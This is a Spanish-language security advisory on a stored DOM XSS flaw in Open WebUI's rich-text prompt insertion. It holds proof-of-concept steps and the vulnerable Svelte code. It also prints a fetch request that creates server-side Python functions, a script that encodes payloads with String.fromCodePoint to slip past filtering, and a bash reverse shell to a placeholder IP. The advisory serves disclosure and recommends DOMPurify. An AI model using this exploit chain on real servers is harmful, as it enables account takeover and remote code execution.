
Open WebUI es vulnerable a Stored DOM XSS a través de prompts cuando 'Insert Prompt as Rich Text' está habilitado, resultando en ATO/RCE.
Open WebUI es vulnerable a DOM XSS almacenado a través de prompts cuando 'Insertar Prompt como Texto Enriquecido' está habilitado, resultando en ATO/RCE

La funcionalidad que inserta prompts personalizados en la ventana de chat es vulnerable a DOM XSS cuando 'Insertar Prompt como Texto Enriquecido' está habilitado, ya que el cuerpo del prompt se asigna al sink DOM .innerHtml sin sanitización. Cualquier usuario con permisos para crear prompts puede abusar de esto para plantar un payload que podría ser activado por otros usuarios si ejecutan el comando / correspondiente para insertar el prompt.
La línea afectada es
open-webui/src/lib/components/common/RichTextInput.svelte
Line 348 in 7a83e7d
tempDiv.innerHTML = htmlContent;
export const replaceCommandWithText = async (text) => {
const { state, dispatch } = editor.view;
const { selection } = state;
const pos = selection.from;
// Get the plain text of this document
// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');
// Find the word boundaries at cursor
const { start, end } = getWordBoundsAtPos(state.doc, pos);
let tr = state.tr;
if (insertPromptAsRichText) {
const htmlContent = marked
.parse(text, {
breaks: true,
gfm: true
})
.trim();
// Create a temporary div to parse HTML
const tempDiv = document.createElement('div');
tempDiv.innerHTML = htmlContent; // <---- vulnerable
El HTML controlado por el usuario desde el cuerpo del prompt se asigna a tempDiv.innerHTML sin sanitización (significativa). marked.parse introduce algunas limitaciones de caracteres, pero no sanitiza el contenido, como se indica en su README.

PoC
Crea un prompt personalizado de la siguiente manera:

A través de la configuración, asegúrate de que 'Insertar Prompt como Texto Enriquecido' esté habilitado:

Ejecuta el comando /poc en una ventana de chat.

Observa que se activa la alerta.

RCE Dado que los administradores pueden ejecutar código Python arbitrario en el servidor de forma natural a través de la función 'Functions', este XSS podría usarse para obligar a cualquier administrador que lo active a ejecutar una de esas funciones con código Python elegido por el atacante.
Esto se puede lograr haciendo que ejecuten la siguiente solicitud fetch:
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('echo RCE')"
})
})
Esto no se puede hacer directamente porque la llamada a marked.parse a través de la cual se pasa el HTML neutralizará los payloads que contengan comillas.

Para sortear esto, las cadenas deben construirse manualmente a partir de sus valores decimales usando String.fromCodePoint. El siguiente script de Python automatiza la generación de un payload viable a partir de JavaScript dado:
payload2 = """
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')"
})
})
""".lstrip().rstrip()
out = ""
for c in payload2:
out += f"String.fromCodePoint({ord(c)})+"
print(f"")
Un administrador que active el payload correspondiente a través de un comando de prompt hará que se ejecute una función de Python que ejecuta un payload de reverse shell, proporcionando al atacante acceso a la línea de comandos del servidor.



Cualquier usuario que ejecute el prompt malicioso podría tener su cuenta comprometida a través de JavaScript malicioso que lea su token de sesión de localstorage y lo exfiltre a un servidor controlado por el atacante.
Los usuarios administradores que ejecuten el prompt malicioso corren el riesgo de exponer el servidor backend a ejecución remota de código (RCE), ya que el JavaScript malicioso que se ejecuta a través de la vulnerabilidad puede usarse para enviar solicitudes como el usuario administrador que ejecutan funciones de Python maliciosas, que a su vez pueden ejecutar comandos del sistema operativo.
Los usuarios con pocos privilegios no pueden crear prompts de forma predeterminada; se necesita el permiso USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS, que puede otorgarse a través de, por ejemplo, un grupo personalizado. Ver: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions
Un usuario víctima que ejecute el comando para activar el prompt necesita tener habilitada la opción 'Insertar Prompt como Texto Enriquecido' en las preferencias para que la vulnerabilidad se active. Esta opción está desactivada por defecto. Los usuarios con esta opción desactivada no se ven afectados.
Sanitizar el HTML controlado por el usuario con DOMPurify antes de asignarlo a .innerHtml.